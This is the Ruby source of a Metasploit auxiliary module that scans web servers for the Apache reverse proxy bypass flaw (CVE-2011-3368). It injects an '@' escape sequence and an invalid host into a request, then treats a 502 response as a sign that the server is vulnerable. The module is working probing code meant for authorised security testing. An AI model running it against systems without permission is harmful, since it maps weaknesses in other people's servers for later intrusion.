109 lines
3.5 KiB
Ruby
109 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Apache Reverse Proxy Bypass Vulnerability Scanner',
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'Description' => %q{
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Scan for poorly configured reverse proxy servers.
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By default, this module attempts to force the server to make
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a request with an invalid domain name. Then, if the bypass
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is successful, the server will look it up and of course fail,
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then responding with a status code 502. A baseline status code
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is always established and if that baseline matches your test
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status code, the injection attempt does not occur.
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"set VERBOSE true" if you are paranoid and want to catch potential
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false negatives. Works best against Apache and mod_rewrite
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},
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'Author' => ['chao-mu'],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://www.contextis.com/research/blog/reverseproxybypass/'],
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['CVE', '2011-3368'],
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]
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)
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register_options(
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[
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OptString.new('ESCAPE_SEQUENCE',
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[true, 'Character(s) that terminate the rewrite rule', '@']),
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OptString.new('INJECTED_URI',
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[true, 'String injected after escape sequence', '...']),
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OptInt.new('EXPECTED_RESPONSE',
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[true, 'Status code that indicates vulnerability', 502]),
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OptString.new('BASELINE_URI',
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[true, 'Requested to establish that EXPECTED_RESPONSE is not the usual response', '/']),
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])
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end
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def make_request(host, uri, timeout=20)
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begin
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requested_at = Time.now.utc
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response = send_request_raw({'uri' => uri}, timeout)
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responded_at = Time.now.utc
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rescue ::Rex::ConnectionError => e
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vprint_error e.to_s
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return nil
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end
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if response.nil?
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vprint_error "#{rhost}:#{rport} Request timed out"
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return nil
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end
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seconds_transpired = (responded_at - requested_at).to_f
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vprint_status "#{rhost}:#{rport} Server took #{seconds_transpired} seconds to respond to URI #{uri}"
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status_code = response.code
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vprint_status "#{rhost}:#{rport} Server responded with status code #{status_code} to URI #{uri}"
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return {
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:requested_at => requested_at,
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:responded_at => responded_at,
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:status_code => status_code
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}
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end
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def run_host(host)
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test_status_code = datastore['EXPECTED_RESPONSE']
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baseline = make_request(host, datastore['BASELINE_URI'])
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if baseline.nil?
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return
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end
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if baseline[:status_code] == test_status_code
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vprint_error "#{rhost}:#{rport} The baseline status code for #{host} matches our test's"
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return
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end
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uri = datastore['ESCAPE_SEQUENCE'] + datastore['INJECTED_URI']
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injection_info = make_request(host, uri, 60)
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status_code = injection_info[:status_code]
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if status_code == test_status_code
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print_good "#{rhost}:#{rport} Server appears to be vulnerable!"
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report_vuln(
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:host => host,
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:port => rport,
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:proto => 'tcp',
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:sname => ssl ? 'https' : 'http',
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:name => self.name,
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:info => "Module #{self.fullname} obtained #{status_code} when requesting #{uri}",
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:refs => self.references,
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:exploited_at => injection_info[:requested_at]
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)
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end
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end
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end
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